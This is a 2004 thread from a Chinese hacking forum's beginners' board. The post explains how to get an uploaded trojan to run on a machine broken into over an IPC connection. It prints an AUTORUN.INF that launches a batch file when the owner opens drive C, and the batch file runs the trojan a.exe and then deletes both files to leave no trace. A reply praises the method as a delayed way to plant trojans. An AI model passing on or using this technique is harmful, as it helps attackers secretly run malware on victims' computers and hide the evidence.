论坛: 菜鸟乐园 标题: 令类的启动 复制本贴地址    
作者: reek [reek]    论坛用户   登录
问题的来源是我的朋友在一次ipc入侵,他建立了ipc连接,并有管理权限,上传了木马,但是在执行at时,所有的命令输入的是完全正确,但就是不可以执行,晕呀,为此,我有了我的另外的方案(这里我们需要建立2个文件AUTORUN.INF和一个批处理b.bat):
首先,我们编写AUTORUN.INF
  [autorun]

    open=c:\b.bat          \\当机主双击c盘时自动运行b.bat


现在我们来编写b.bat
    内容如下:
    a.exe                  \\运行木马a.exe
    del c:\autorun.inf     
    y                      \\删除刚才上传的autorun.inf
    del c:\b.bat           
    y                      \\删除刚才上传的b.bat
之后巴木马a.exe连同autorun.inf和b.bat一起上传的对方的c盘下,等对方从其电脑,打开了c盘,它的木马就会自动运行了,并且可以做到无影无踪。
   

地主 发表时间: 04-03-30 12:57

回复: jake007 [jake007]   论坛用户   登录
想法是不错
可以做到延迟时间种木马的目的。
有需要的应该看一看。

B1层 发表时间: 04-03-30 16:25

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号